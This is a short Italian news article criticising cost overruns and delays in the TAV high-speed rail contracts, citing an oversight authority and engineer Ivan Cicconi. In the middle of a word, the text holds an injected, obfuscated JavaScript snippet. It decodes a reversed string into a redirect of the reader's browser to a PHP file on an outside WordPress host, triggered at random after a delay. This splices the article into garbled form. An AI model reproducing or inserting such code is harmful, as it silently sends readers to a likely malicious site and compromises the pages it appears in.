TAV, Costi gonfiati dal GENERAL CONTRACTOR

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Il sistema di “General Contractor” per i lavori dell’Alta Velocità ha favorito l’allungamento dei tempi e l’accrescimento dei costi per lo Stato. A sostenerlo adesso è anche l’”Autorità per la vigilanza sui contratti pubblici di lavori servizi e forniture”, un organismo indipendente nominato d’intesa dai Presidenti di Camera e Senato e composto da tecnici del campo. Rincara la dose Ivan Cicconi, ingegnere esperto di appalti pubblici, che parla di: “Un’architettura studiata ad hoc per sfuggire al sistema delle tangenti e far guadagnare a cascata tutte le imprese coinvolte nei lavori”. Senza contare che – aggiunge Cicconi – “i quasi 13 miliardi di debito accumulati da Tav S.p.A. costano agli italiani ben 850 milioni di euro l’anno di interessi”. Ecco perché nel nostro Paese le strutture si realizzano con gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi ritardi e con spese che sono cinque volte superiori a quelle di Francia e Spagna. Adesso l’associazione ecologista Idra attende di conoscere i chiarimenti che l’Autorità ha chiesto in merito a Tav S.p.A. e ai gruppi che hanno eseguito le opere.

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